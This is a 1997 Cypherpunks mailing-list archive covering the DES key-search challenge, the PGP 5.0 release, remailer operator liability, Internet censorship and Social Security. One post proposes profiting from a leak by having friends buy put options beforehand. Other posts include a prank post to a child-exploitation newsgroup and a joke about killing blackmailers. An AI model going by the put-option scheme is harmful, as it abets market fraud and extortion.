From: "Peter Trei" <trei@process.com>
Date: Tue, 17 Jun 1997 00:18:34 +0800
To: cypherpunks@toad.com
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
Message-ID: <199706161546.IAA05715@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Vincent Cate <vince@offshore.com.ai>
> To:            cypherpunks@toad.com
> Subject:       Anguilla surpasses US military in code breaking challenge.

Vince writes:

> Press Release
> Anguilla, June 16, 1997
> 
>     Anguilla surpasses US military in code breaking challenge.
> 
> The Caribbean country of Anguilla has searched through more than
> 2,380,000,000,000 code keys as part of the Deschall effort to break a DES
> encrypted message.  This is in response to a challenge by RSA Inc to show
> that DES 56 bit keys are not large enough given the rapid advances in
> computing technology.  As of June 16th, the entire US military effort,
> represented by Internet machine names ending in ".mil" in the Deschall
> statistics pages, has searched fewer keys.  Anguilla host names end in
> ".com.ai".  Anguilla is a free and democratic country, that does not limit
> key lengths. 


NOT a press release, but true.

  Framingham,MA , June 16, 1997
  
      Process Software surpasses Anguilla in code breaking challenge.
  
  The small software firm of Process Software has searched through more 
  than 25,600,000,000,000 code keys as part of an independent effort to 
  break a DES encrypted message.  This is in response to a challenge by RSA
  Inc to show that DES 56 bit keys are not large enough given the
  rapid advances in computing technology.  As of June 16th, the entire
  US military effort, represented by Internet machine names ending in
  ".mil" in the Deschall statistics pages, has searched fewer keys. 
  Anguilla host names end in ".com.ai".  

This represents 5965 2^32 key segments, or 0.035% of the total 
keyspace. We've got a long way to go.

It's worth noting that the DESChall people claim to have now
searched over 23% of the keyspace, and at the current rate will 
have searched the whole thing about 3 months from now.

They have not released their source code for independent 
evaluation. I for one would feel a lot more comfortable with
DESChall if there was at least some outside review, even if
no general release is made.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 17 Jun 1997 00:22:26 +0800
To: cypherpunks@toad.com
Subject: DREI 97: Cryptography and Network Security
Message-ID: <1.5.4.32.19970616155214.008adc3c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



http://dimacs.rutgers.edu/drei/1997/schedule/DREI97_ad_Research.htm

    DIMACS Research & Education Institute 
    DREI 97 Cryptography and Network Security 
    July 28 - August 15, 1997 
    Rutgers University, NJ

    Speakers and papers (abstracts available at the site):

    Martin Abadi, Digital Systems Research Center, DEC "Strengthening Passwords"

    Ross Anderson, Cambridge University, "Medical Records Security" and
    "Steganography"

    Alex Biryukov, Technion "Cryptanalysis of the Portz Interconnection-Network
    Block-Cipher" and "Cryptanalysis of RC5"

    Daniel Bleichenbacher, Bell Labs "Comparing RSA and RSA-Type
Cryptosystems Over
    Elliptic Curves"

    Gilles Brassard, University of Montreal "The Impact of Quantum Mechanics on
    Cryptology"

    Ran Canetti, IBM "Towards Realizing Random Oracles: Hash Functions That
Hide All
    Partial Information" and "On the Adaptive Security of Multiparty Protocols"
   
    Benny Chor, Technion "Private Information Retrieval"

    Claude Crepeau, Universite de Montreal "Cryptographic Power of Noisy
Channel"
  
    Cynthia Dwork, IBM "Positive Applications to Lattices of Cryptography"
   
    Carl Ellison, Cybercash, Working Cryptanalysis of the German Enigma" and
    Key Management in the Post-Identity Era"

    Yair Frankel, Sandia "New Techniques for Sharing Cryptographic Functions"
  
    Matthew Franklin, AT&T Labs - Research, "Ecash and the Power of Positive
    Paranoia"

    Rosario Gennaro, IBM "How to Sign Digital Streams"

    Stuart Haber, Surety Technologies, "Ensuring the Integrity of Records On
Line: How to
    Time-Stamp a Digital Document"

    Jack Lacey, AT&T Labs - Research, "Music on the Internet and the
Intellectual
    Property Protection Problem"

    Susan Landau, University of Massachusetts at Amherst "Cryptology,
Technology and
    Policy"

    David P. Maher, AT&T Labs - Research "Security Models for Partially
Accounted
    E-Cash Systems"

    Dalia Malkhi, AT&T Labs - Research "Auditable Metering with Lightweight
Security"
   
    Moni Naor, The Weizmann Institute "A Formal Teatment of Remotely Keyed
    Encryption"

    Hilaire Orman, DARPA "The Imperfection of Secrecy in Real Network Protocols"

    Pino Persiano, University of Salerno "A Transparent Distributed
Cryptographic
    Filesystem" and "Randomness-Efficient Non-Interactive Zero-Knowledge Proofs"

    Marcus Ranum, Network Flight Recorder, Inc., "Hacking and Networked
Terrorism"
    and "Problems with the Firewall Concept"

    Mike Reiter, AT&T Labs - Research "Toward Acceptable Metrics of
Authentication"
  
    Fred Schneider, Cornell University "Mobile Code Security Issues"
  
    Rich Schroeppel, University of Arizona "Fast Arithmetic in GF[2^156]"

    Adi Shamir, The Weizmann Institute "A New Paradigm for Massively
Parallel Random
    Search" and "Cryptanalytic Fault Attacks"

    Martin Strauss, AT&T Labs - Research "Proxy Cryptography" and "A Formal
Teatment
    of Transactional Trust Management"

    Edlyn Teske, University of Manitoba "Space Efficient Group Structure
Computation
    Using Pollard's $\rho$-Method"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 04:16:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v03102801afcb4562bcde@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 PM -0700 6/16/97, Declan McCullagh wrote:

>What I found interesting about Tim's comments above is how he neglects to
>mention libertarians. Certainly he realizes my "ideological bearings" are
>much closer to libertarianism than conservatism or modern liberalism.

Now this is _really_ reading too much into things. As with several of your
"in the paragraphs Tim chose to elide" sorts of comments, you are imputing
motives that aren't there.

I mentioned Republicans and Democrats--and not Black Panthers,
Libertarians, Maoists, and Galambosians, for example--becuase these two
factions account for 99% of those in D.C., reporters included.

As to why I "elide" paragraphs, I do it as I always do it, to save space
and to adhere to the "never quote more than a half page of text" rule of
thumb.

(Something I wish more writers would do. When I see a screenful of quoted
material, I'll usually at least scroll down to the next page: if more stuff
is quoted, I'm often likely to just hit the "D" key.)

I never set out to elide material so as to misrepresent people. Granted,
there are some who think their point is automatically subtracted from if
every golden word is not quoted, but, like I said, I try to begin my
response to a post before a screenfull has been quoted, with the quoted
material only serving as a reminder to the reader of what the other person
had already said.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 04:26:27 +0800
To: cypherpunks@toad.com
Subject: Re: Homer on Terrorism
In-Reply-To: <33A49D42.49741BF5@netscape.com>
Message-ID: <3.0.2.32.19970616124507.0075f0d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> "We don't negotiate with terrorists"

>>"Terrorism" probably doesn't apply, since his aim was not political.
>>.... I think blackmail is a more appropriate term.

On the other hand, as Agatha Christie occasionally points out,
the _only_ safe thing to do with blackmailers is kill them...

:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 04:46:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
Message-ID: <v03102804afcb4cc879c4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 AM -0700 6/16/97, Bill Stewart wrote:
>At 08:59 PM 6/13/97 -0700, you wrote:
>>This is why we need more remailers, and why it's good that you posted
>>anonymously. The proper thing to do is to be "shocked, shocked!" that
>>anything illegal is happening on your server,
>	... your ecash, sir ....
>>immediately shut it down (counting on the network to be self-healing
>>with the help of an enhanced remailer list), and offer to cooperate fully.
>>Unfortunately, you don't keep logs, so you wouldn't really be able to help
>> (damn!).
>
>Shutting it down would be bad - that gives them an easy denial of service
>attack (though better to have them use that attack than child porn....)

Another strategy, besides the "I'm shocked, simply shocked, and I'll shut
it down immediately, sir!" cave-in, is to say this:

"I operate an electronic mail service. I abide by the terms of the
Electronic Communications Privacy Act,  the ECPA, and I do not inspect or
monitor the contents of the mail flowing in my system. To do so would be a
violation of the ECPA. And besides the ECPA, such inspection would be a
violation of the property rights of my users.

"I take a hands off approach to uses of my mail  service, as the ECPA
expects me to do, and what customers are sending is none of my concern.

"If you have a problem with something sent by one of my customers, or wish
to question him or her about the contents of their mail, I suggest you
obtain proper court orders and contact him or her directly.

"Whether you can identify him or her is your problem, not mine."


--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 04:51:05 +0800
To: cypherpunks@Algebra.COM
Subject: Avoid loud warnings--it only attracts disruptors
In-Reply-To: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
Message-ID: <v03102805afcb4eabeb59@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 AM -0700 6/16/97, Bill Stewart wrote:

>Put a warning on the front page that it's NOT to be used for
>illegal purposes etc., phrased seriously, complaining that you'll
>have to shut it down if people keep abusing it...

The problem here is that this just makes shutting down the remailera more
attractive target for malicious persons, pranksters, and other such folks.
Like waving a red flag in front of a bullshitter.

I suspect some of the remailers which have been shut down were hit by folks
just trying to see if they could do it.

Such loud warnings are unneeded by ordinary members of a community, and
will be ignored or even deliberately tested or flouted by certain others.
As with Sandy's imposition of his notions of "civility" and "comaraderie,"
the predictable effect was testing of the limits.


(I admit to having a perverse side, too. No suprise to many of you. Several
years ago I posted some binaries to the brand-new newsgroup,
"alt.binaries.pictures.erotica.children". I claimed they were some hot
lolitas, though in fact they were misc. PGP noise, with hidden text
messages running down some of the diagonals, to get me off the hook if some
DA claimed they were real pictures and demanded the decryption key. I
wanted to shake things up. Got a lot of outraged responses, too.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 17 Jun 1997 05:06:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Avoid loud warnings--it only attracts disruptors
In-Reply-To: <v03102805afcb4eabeb59@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970616134158.4171C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, Tim May wrote:

> (I admit to having a perverse side, too. No suprise to many of you. Several
> years ago I posted some binaries to the brand-new newsgroup,
> "alt.binaries.pictures.erotica.children". I claimed they were some hot
> lolitas, though in fact they were misc. PGP noise, with hidden text
> messages running down some of the diagonals, to get me off the hook if some
> DA claimed they were real pictures and demanded the decryption key. I
> wanted to shake things up. Got a lot of outraged responses, too.)

Were they outraged that it was not kiddy porn or outraged that they could
not get to it or outraged because you claimed it was kiddy porn?  (I tend
to direct people to
http://www.thecorporation.com/oneoffs/96/kittyporn/index.html for that
sort of stuff...)  

Makes you wonder what they were doing reading that group in the first
place...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 17 Jun 1997 05:21:33 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102801afcb57acf1ef@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>If he had said:
>  "I'm going to go to the press on this date.  You can buy the
>   information from me before that for X amount of money."
>
>That would be an ordinary business transaction.  Instead, what he said
>was something like:
>  "Pay me lots of money or I will go to the press in such a way as to
>   damage you the most."
>
>That is blackmail.  It's clear that the money is to prevent the damage,
>not just for the information.

I agree.  It seems a bit like blackmail to me.  These 'consultants' would
have better off having friends buy put options on Netscape stock prior to
the phone call.  Then if Netscape won't pay their price they get the money
from the market when they make the information public, including the source
code.  Spare me the insider trading rants.

--Ste5e


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeffrey I. Schiller" <jis@mit.edu>
Date: Tue, 17 Jun 1997 02:44:10 +0800
To: cypherpunks@toad.com
Subject: [ANNOUNCE] PGP 5.0 Freeware is available from MIT
Message-ID: <199706161755.NAA01250@road-warrior-177.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

To: The PGP Community
From: Jeffrey I. Schiller <jis@mit.edu>
Subject: PGP 5.0 Freeware is available from MIT

I am pleased to announce the availability of PGP 5.0 Freeware from the
MIT Web Site. PGP 5.0 Freeware is available for non-commercial use under
license from MIT, PGP Inc. It uses the RSAREF toolkit licensed from RSA
Data Security.

This new version is a long awaited major upgrade and improvement to PGP
2.6.2. It has a native Windows '95, Windows NT and Macintosh interface.
It supports additional ciphers, as well as new key types and message
formats. Internally it is much improved as well.

This release marks a major transition to a new public key infrastructure
based on the Diffie-Hellman (DH) public key algorithm for privacy and
the Digital Signature Standard (DSS) for digital signatures. The RSA
algorithm is still supported and this version will work with the old RSA
keys you may already have. However all new keys generated by this
version will be DH/DSS keys. Many of the internal performance
improvements are only available when used exclusively with DH/DSS keys
(this is because using RSA keys requires PGP 5.0 to be backward
compatible with PGP 2.6.2 which requires PGP 5.0 to use less efficient
message formats).

This version also includes automated keyserver support. It can
automatically fetch PGP keys from the MIT keyserver (and other
keyservers) as well as offer to upload any newly created keys.

It also comes with plug-ins for Eudora and other major mail utilities.

At the moment it is only available for Windows '95, NT and MacOS. A Unix
(Linux) version is in the works but isn't ready yet, but we hope to have
it ready within a week or two.

Source code for this version was distributed at last weekend's
cypherpunks meeting in hard copy form. Source will eventually be made
available electronically, but isn't ready yet.

You can find the Freeware PGP at either the PGP Home Page at:

  http://web.mit.edu/network/pgp.html

or directly at:

  http://web.mit.edu/network/pgp-form.html

Note: We anticipate a significant amount of traffic while people
throughout the U.S. and Canada download PGP. Please be patient with the
server (and with us)!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6V9psUtR20Nv5BtAQE9IgP+OuB+wHml5C47s3YJjfbNq+3FWmql+DrG
AE5Dag8aahKGf73SYHByhCZXowCzE0g8QeAx9VYpXy9CHp5GiSE8Iks1/U0AKz1h
cxcQ2Etp7x2js9GAfP8ueD01RlIguQsh2hIP0cU9ymy8Fn1b7OscWk9hhmDjgBpv
O36Lt5gPBwM=
=+zQC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Tue, 17 Jun 1997 05:27:57 +0800
To: "Jeffrey I. Schiller" <jis@mit.edu>
Subject: Re: [ANNOUNCE] PGP 5.0 Freeware is available from MIT
In-Reply-To: <199706161755.NAA01250@road-warrior-177.mit.edu>
Message-ID: <m2u3iytge9.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain



"Jeffrey I. Schiller" <jis@mit.edu> writes:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> To: The PGP Community
> From: Jeffrey I. Schiller <jis@mit.edu>
> Subject: PGP 5.0 Freeware is available from MIT
> 
> I am pleased to announce the availability of PGP 5.0 Freeware from the
> MIT Web Site. [...]

Yuck! I got a "bad signature" warning when checking the signature. The sha1
hash of what I downloaded is

4da86001a5bcdf5a03e5adcda5e6d8fe76a11920  pgpinstall.exe

What is the sha1 hash of what you put up?

Leonard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 17 Jun 1997 05:32:36 +0800
To: cypherpunks@toad.com
Subject: ACLU/EPIC: First Amendment Pledge Campaign
Message-ID: <Pine.GSO.3.95.970616140435.25992G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 16 Jun 1997 14:04:22 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: ACLU/EPIC: First Amendment Pledge Campaign



---------- Forwarded message ----------
Date: Mon, 16 Jun 1997 16:50:00 -0400
From: Dave Banisar <banisar@epic.org>
To: press <info@epic.org>
Subject: Press Release: First Amendment Pledge Campaign


                          JOINT PRESS RELEASE:
                     American Civil Liberties Union
                Electronic Privacy Information Center

               ACLU, EPIC Call on Congress and Clinton to
                   "Take the First Amendment Pledge"


FOR IMMEDIATE RELEASE
Monday, June 16, 1997

Contact:

Emily Whitfield, ACLU Nat'l Office
(212) 549-2566
emilyaclu@aol.com

David Sobel, EPIC
(202) 544-9240
sobel@epic.org

NEW YORK -- As the nation awaits a Supreme Court decision on the
future of free speech on the Internet, the American Civil Liberties
Union and the Electronic Privacy Information Center today launched
www.firstamendment.org, a website dedicated to upholding the First
Amendment in cyberspace.

The groups called on President Clinton and members of Congress to be
among the first to "Take the First Amendment Pledge" and cease any
further attempts to draft legislation to censor the Internet in the
event the Supreme Court upholds a lower court decision striking down
government regulation of the Internet as unconstitutional.

"In our view there is no such thing as a 'Constitution-proof' law
criminalizing so-called indecency in cyberspace," said Chris Hansen,
ACLU Senior Staff Attorney and lead counsel in Reno v. ACLU.

The launch of the website comes as Clinton Administration officials
have begun publicly discussing a shift in policy on Internet
regulation, saying that "industry self-regulation" -- not laws
criminalizing certain Internet communications -- is the solution to
shielding minors from online "indecency."

Hansen added that if the Administration had indeed adopted such a
policy, it is obligated to announce it to the Court before they rule
in the case. "If the report in this morning's New York Times is
indeed true, it would appear that the Clinton Administration is
preparing to take the 'Pledge,'" Hansen said.

Reno v. ACLU challenges censorship provisions of the Communications
Decency Act aimed at protecting minors by criminalizing so-called
"indecency" on the Internet. The ACLU, along with EPIC and 18 other
plaintiffs, filed a challenge to the law the day it was enacted. A
ruling on the case could come as soon as Thursday, June 19, the next
scheduled day for release of Supreme Court decisions.

"Attempts to censor the Net will not end with the Supreme Court
decision ," said David Sobel, legal counsel for EPIC and co- counsel
in Reno v. ACLU. "Proponents of Internet content regulation have
already indicated their desire to take a 'second bite of the apple'
if the Communications Decency Act is struck down."

In anticipation of such new attempts at online censorship, visitors
to www.firstamendment.org are invited to "Take the First Amendment
Pledge," which reads: "I pledge to support free speech and free
expression for all Americans and to urge Congress to uphold the
First Amendment to the United States Constitution and pass no law
abridging our freedom of speech."

Online users can capture the "First Amendment Pledge" GIF (graphic
image file) for placement on their own website. Other features
planned for the site include an "action alert" that informs users of
legislative threats to the First Amendment and allows them to
instantly e-mail or fax their member of Congress, and an online
"postcard" that can be e-mailed to friends, relatives and elected
officials, urging them to "Take the Pledge."

The ACLU is a nationwide, non-partisan organization dedicated to
defending and preserving the Bill of Rights for all individuals
through litigation, legislation and public education. The ACLU can
be found online at www.aclu.org and through America Online at
keyword: ACLU.

EPIC is a non-profit, education and research organization based in
Washington, D.C. EPIC examines civil liberties and privacy issues
that arise in new electronic media. It maintains a website at
www.epic.org.


..









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 17 Jun 1997 07:00:12 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
Message-ID: <v03102802afcb5aa7a4fe@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>While having more options generally increases people's well being, we
>have to expect a substantial amount of people whose investments will be
>lost in various perturbations that lie ahead.
>
>We may expect to the government to be under strong pressure to feed these
>old folks.
>
>What bothers me most is what would happen if the market went bust again
>as badly as it did in 1929-1934. I believe that it is by far not
>impossible. Then we'd get stuck in a market downturn, with millions of
>retured people with few means to support themselves, and the government
>unable to collect enough money to feed them (which is unconstitutional
>anyway).

What's the difference?  The SSA fund just has IOUs in it now and is being
funded from current revenue.  For those who do well in the market, don't
give them any SSA.  For those who invest poorly, use general revenue to
keep them off the street.  If the market collapses and most lose their
shirts how is this any different than the comming debacle.

- --Ste5e


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
- ---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
- ---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6W/MjvMjmxVx4sNAQFszgP9HCBDId4AwdAzsjaL3+0IY85mRMmiLpiJ
FP7KHvS+o0EO8NNzjb6Fv0z/8F7eEzqziUwCb6e8SgKssblMxv9zNAC+YLzeut+h
/wm/f5mqC2zF942T9hsAP70IHokld7BhIPQL0YSLv+ywEG47rZh98oF9pwholXxK
MaO+HHTUrm4=
=pP/v
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PR.Dept.at.SUBMITKING@keepmailing.com
Date: Tue, 17 Jun 1997 03:02:45 +0800
To: cypherpunks@toad.com
Subject: Congratulations!  We found your site!
Message-ID: <199706161821.OAA28029@199706161821.OAA28029>
MIME-Version: 1.0
Content-Type: text/plain



Greetings from SUBMITKING, the leader in automated URL submissions!  

We found your website using our high-technology, specially designed, "web
crawling" software.  Unfortunately, most people don't have access to this
type of technology.  But we can help!

As you're aware, most people find websites using any number of popular (and
sometimes not so popular) search engines and other marketing resources (like
"Site of the Day" (Week, Month, etc.)).  But who has the hours and hours to 
spend searching the Web to find these resources and THEN submit the 
information to each one?  We did it for you!

SUBMITKING has taken thousands of man hours to research the top resources
people use to find what they need on the Internet.  With even more hours we 
have written special software for each individual resource so that with the 
information from one form you fill out we can register YOUR site with each 
of these resources as well as you could do it yourself...if you had 20 or so 
hours on your hands. 

Sure, we charge for this service.  It's $19.95 for submission to all 200
resources.  Which works out to less than a dime each.  If you COULD do each
site in just 5 minutes (paying yourself .10 each) you'd do 12 an hour (thus
earning a whopping $1.20 per hour).

Probably 50 or 100 visitors to your site is all it would take to see a huge
return on your investment.  It's a logical thing to do when you consider all
the benefits you stand to gain from being listed in 200 places. That being
said we can say no more.  We simply invite you to visit the site at
http://www.submitking.com and Thank-you for your time.

Kind regards,

SUBMITKING





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:25:33 +0800
To: Alan <alano@teleport.com>
Subject: Re: Avoid loud warnings--it only attracts disruptors
In-Reply-To: <v03102805afcb4eabeb59@[207.167.93.63]>
Message-ID: <v03102806afcb66c6954a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:45 PM -0700 6/16/97, Alan wrote:
>On Mon, 16 Jun 1997, Tim May wrote:
>> (I admit to having a perverse side, too. No suprise to many of you. Several
>> years ago I posted some binaries to the brand-new newsgroup,
>> "alt.binaries.pictures.erotica.children". I claimed they were some hot
>> lolitas, though in fact they were misc. PGP noise, with hidden text
>> messages running down some of the diagonals, to get me off the hook if some
>> DA claimed they were real pictures and demanded the decryption key. I
>> wanted to shake things up. Got a lot of outraged responses, too.)
>
>Were they outraged that it was not kiddy porn or outraged that they could
>not get to it or outraged because you claimed it was kiddy porn?  (I tend
>to direct people to
>http://www.thecorporation.com/oneoffs/96/kittyporn/index.html for that
>sort of stuff...)

Some of them said I should be imprisoned for posting erotic images of
children. And some of them wanted me to send them the proper decryption key.

And some even claimed, after I revealed that the supposed GIF images were
not real, that I was nevertheless guilty of "making a market in child
porn." As we've been discussing lately, a classic case of "thoughtcrime."

>Makes you wonder what they were doing reading that group in the first
>place...

No doubt they were "researchers." Got to study those nekkid pictures
really, really carefully, with a magnifyng glass....yeah, "researchers."
Just like "se7en."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 17 Jun 1997 03:36:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.LNX.3.91.970616112023.236B-100000@fatmans.demon.co.uk>
Message-ID: <v03007803afcb3b906784@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 -0700 6/16/97, Tim May wrote:
>Some of you, including Declan, have read too much in my comments. I did not
>say he _had_ sold out, I said in several places there is a well-known
>danger of becoming assimilated by the Washington system. Reread what I said.
>
>(By the way, I've never suggested Declan would lose his ideological
>bearings. Democrats and Republicans who become assimilated remain true to
>their roots, but they see everything as part of a larger system, a
>negotiation. They lose their ability to see in outside the Beltway simple
>terms. The giveaway will be if and when Declan begins to say that things
>are not so simple.)

What I found interesting about Tim's comments above is how he neglects to
mention libertarians. Certainly he realizes my "ideological bearings" are
much closer to libertarianism than conservatism or modern liberalism.

Do the folks at the Cato Institute, the Competitive Enterprise Institute,
IFJ, IHS, or AEI "lose their ability to see in simple terms?" I suggest not.

-Declan

PS: Details about negotiations and who's-backing-what-bill and what the
political tradeoffs will be are often astoundingly complex. But the
underlying principles remain crystal-clear: government out of our private
lives.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:44:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <3.0.2.32.19970616102113.00751b44@popd.ix.netcom.com>
Message-ID: <v03102807afcb6a045849@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I want to elaborate on a point I made earlier:

At 1:11 PM -0700 6/16/97, Tim May wrote:

>"I operate an electronic mail service. I abide by the terms of the
>Electronic Communications Privacy Act,  the ECPA, and I do not inspect or
>monitor the contents of the mail flowing in my system. To do so would be a
>violation of the ECPA. And besides the ECPA, such inspection would be a
>violation of the property rights of my users.

It's important to realize that "scienter" (knowledge) of some criminal act
is an important part of the law in the United States.

We don't hold the owners or operators of a storage facility, like a
U-Stor-it, responsible for illegal materials stored, be they drugs,
explosives, guns, pornography, crypto, dead bodies, or other illegal or
contraband things. We also don't expect operators of such facilities to
inspect items going into storage. (I'm _not_ saying customers have some
right of privacy, I'm saying that operators make contractual arrangements,
and inspecting contents is a time-consuming thing which they'd rather not
do, and which their customers would rather not see done. What law
enforcement might want is another matter, as it usually is, and for this we
have a thing called "the court system.)

Likewise, we don't hold hotel owners or clerks responsible for the many,
many crimes and misdeeds which hotel rooms are notorious for. Hotel rooms
are the favored locations for prostitution, narcotics deals, plotting of
crimes, etc.

(In both of the above examples, it is possible to imagine circumstances in
which a storage facility or hotel is charged with complicity in one way or
another. Sometimes hotels which encourage prostitution are hit with various
charges, including "public nuisance" laws. But these do not affect the more
basic point that scienter is expected before a crime is charged, and that a
kind of "containerization" of property rights means that the temporary
users of some property are responsible, not the actual owner or leasor.)

The renter of a car or truck is not responsible for the contents. The
driver of a truck is not responsible for illegal substances contained in
packages that are not his and that he had no knowledge about, etc. Federal
Express is not responsible if porn is sent in violation of some law.

(Yes, there are some exceptions. Nuisance laws, negligence laws, etc.
Again, not related to the central point. Some believe remailers could be
hit under the nuisance laws, but I am skeptical of this....publishers
cannot be shut down because they are a "nuisance," so far as I know. Lots
of things to consider here.)

